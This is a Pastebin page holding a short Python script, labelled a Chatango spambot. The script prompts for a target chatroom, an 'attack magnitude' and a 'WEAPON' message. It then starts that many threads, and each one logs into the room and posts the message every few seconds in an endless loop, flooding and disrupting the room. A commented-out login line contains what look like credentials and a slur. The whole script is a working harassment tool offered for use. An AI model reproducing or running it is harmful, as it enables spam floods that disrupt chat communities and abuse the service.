Advertisement
ugo22g

Chatango spambot

Jan 20th, 2015
464
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.63 KB | None | 0 0
  1. #chatango spam bot by Aluf
  2. import chatango
  3. import time
  4. import threading
  5. import random
  6. chatango.debug(False)
  7. class bot(threading.Thread):
  8. def __init__(self, addr):
  9. self.room=chatango.chatroom(addr)
  10. self.room.login()#'UWUT','gayfuckinlord')
  11. #self.room.say('...')
  12. self.room.set_font(size=14)
  13. threading.Thread.__init__(self)
  14. def run(self):
  15. global MESSAGE
  16. while True:
  17. try:
  18. self.room.say(MESSAGE)
  19. time.sleep(3+random.random())
  20. except: print('>ERROR')
  21. print('\
  22. ===============================')
  23. target=input('TARGET_CHATROOM:')
  24. while True:
  25. magnitude=int(input('ATTACK_MAGNITUDE:'))
  26. if magnitude==0:
  27. print('Unnacceptable magnitude. Please do more.')
  28. else: break
  29. MESSAGE=input("WEAPON:")
  30. print('''\
  31. ===============================
  32. Initializing %d instances
  33. At http://%s.chatango.com/
  34. ==============================='''%(magnitude,target))
  35. for i in range(0, magnitude):
  36. exec('BOTINST_'+str(i)+'=bot("%s")'%target)
  37. print('INITIATED INSTANCE '+str(i+1))
  38. print('''\
  39. ===============================
  40. MAXIMUM OVERTROLL REACHED.
  41. INPUT TO FIRE ALL WEAPONS.
  42. ===============================''')
  43. input()
  44. print('''\
  45. ===============================
  46. DERPIFICATION INITIATED.''')
  47. for i in range(0, magnitude):
  48. exec('BOTINST_'+str(i)+'.start()')
  49. print('''\
  50. R.I.P.
  51. http://%s.chatango.com/
  52. ==============================='''%target)
  53. input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement